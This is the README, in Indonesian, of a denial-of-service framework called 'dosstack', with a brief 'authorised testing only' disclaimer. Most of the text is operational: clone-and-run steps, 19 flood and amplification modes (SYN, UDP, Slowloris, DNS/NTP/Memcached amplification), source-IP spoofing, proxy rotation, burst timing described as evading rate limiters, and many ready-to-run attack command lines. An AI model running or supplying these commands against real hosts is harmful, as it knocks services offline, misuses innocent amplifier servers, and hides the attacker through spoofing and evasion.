██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required
⚠️ PERINGATAN HUKUM : Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis . Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.
19 mode serangan : HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)3 engine : Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)Connection pooling : HTTP keep-alive reuse untuk throughput tinggiBurst mode : Burst lalu idle untuk evade rate limiterBandwidth control : Batasi outbound traffic (kbps)Multi-target : File daftar target atau CIDR scan (--scan)Spoof IP : Raw socket dengan source IP palsu (root)Proxy rotation : Rotasi proxy otomatis dari fileAttack profiles : Simpan/muat konfigurasiReal-time stats : Live dashboard dengan richOutput JSON : Simpan hasil akhirgit clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.
./dosstack-cli < target> -m < mode> -t < threads> -d < duration> Argumen Deskripsi Default targetIP atau hostname (atau CIDR dengan --scan) wajib -m, --modeMode serangan http-t, --threadsJumlah thread/worker 100-d, --durationDurasi detik (0 = unlimited) 60-p, --portPort target 80--timeoutTimeout koneksi (detik) 5
Mode Keterangan Root? httpHTTP GET/POST flood tcpTCP connect flood udpUDP flood slowlorisSlowloris keep-alive icmpICMP echo flood ya tlsTLS handshake flood mixedKombinasi acak http/tcp/udp/tls synRaw TCP SYN flood ya ackRaw TCP ACK flood ya rstRaw TCP RST flood ya finRaw TCP FIN flood ya synackRaw TCP SYN-ACK flood ya fragIP fragmentation flood ya dns_ampDNS amplification (port 53) ntp_ampNTP amplification (port 123) ssdp_ampSSDP amplification (port 1900) memcache_ampMemcached amplification (port 11211) snmp_ampSNMP amplification (port 161) chargen_ampCharGEN amplification (port 19)
Tiga engine yang bisa dipilih:
Engine Flag Keunggulan Use Case Thread pool (default) Stabil, kompatibel Serangan umum ≤1000 threads Epoll event loop --epoll10k+ koneksi simultan HTTP flood massive Multiprocessing --mp --processes NMulti-core Distributed attack AsyncIO --workers asyncNon-blocking I/O Banyak koneksi idle (slowloris)
# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60Argumen Deskripsi --path /loginPath HTTP --random-pathPath acak tiap request --method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS) --body '{"x":1}'Body untuk POST/PUT --no-agentNonaktifkan User-Agent acak --no-refererNonaktifkan Referer acak --header "X-Custom: val"Custom header (bisa diulang)
Opsi Raw TCP (root required) Argumen Deskripsi --tcp-flag synTCP flag (syn/ack/rst/fin/synack) --frag-size 24Ukuran payload fragment --spoof-ip 1.2.3.4IP sumber palsu
Argumen Deskripsi --amp-proto dnsProtokol amplifikasi --dns-server 8.8.8.8DNS server target --packet-count 10Packet per burst
Argumen Deskripsi --slowloris-sockets 400Maks socket per worker --keepalive-interval 10Interval keepalive (detik)
Argumen Deskripsi --weights 25 25 25 25Bobot HTTP TCP UDP TLS
Argumen Deskripsi --reuse-connHTTP keep-alive connection reuse --pool-size 200Ukuran connection pool --ramp-up 10Ramp-up gradual (detik) --concurrency 500Concurrency untuk async workers
Evasion & Traffic Shaping Argumen Deskripsi --interval 0.1Delay antar request (detik) --jitter 0.5Jitter acak untuk interval --burstBurst mode --burst-size 100Request per burst --burst-interval 2Durasi burst (detik) --idle-interval 1Idle antar burst (detik) --max-kbps 500Batas bandwidth
Argumen Deskripsi --proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port) --proxy-rotate 10Rotasi tiap N request
Argumen Deskripsi --targets-file list.txtTarget dari file (satu per baris) --scanExpand CIDR (contoh: 10.0.0.0/24)
Argumen Deskripsi --output hasil.jsonSimpan statistik ke JSON --log-file attack.logLog ke file --log-level DEBUGLevel logging --quietMinimal output
Argumen Deskripsi --profile-save heavySimpan argumen sebagai profile --profile-load heavyMuat profile --profile-listLihat daftar profile --profile-delete heavyHapus profile --config-saveSimpan konfigurasi --config-loadMuat konfigurasi
HTTP Flood — 500 thread, 60 detik ./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header " X-Bypass: 1" HTTP Epoll — 2000 thread, connection reuse ./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500 ./dosstack-cli target.com -m tls -p 443 -t 200 -d 60 ./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10 Mixed — multiprocessing 4 core ./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25 SYN Flood — spoof IP (root) sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1 DNS Amplification — spoof (root) sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4 Burst Mode — evade rate limiter ./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2 Bandwidth Controlled — 100 kbps ./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100 Async Workers — unlimited duration ./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0 ./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll ./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10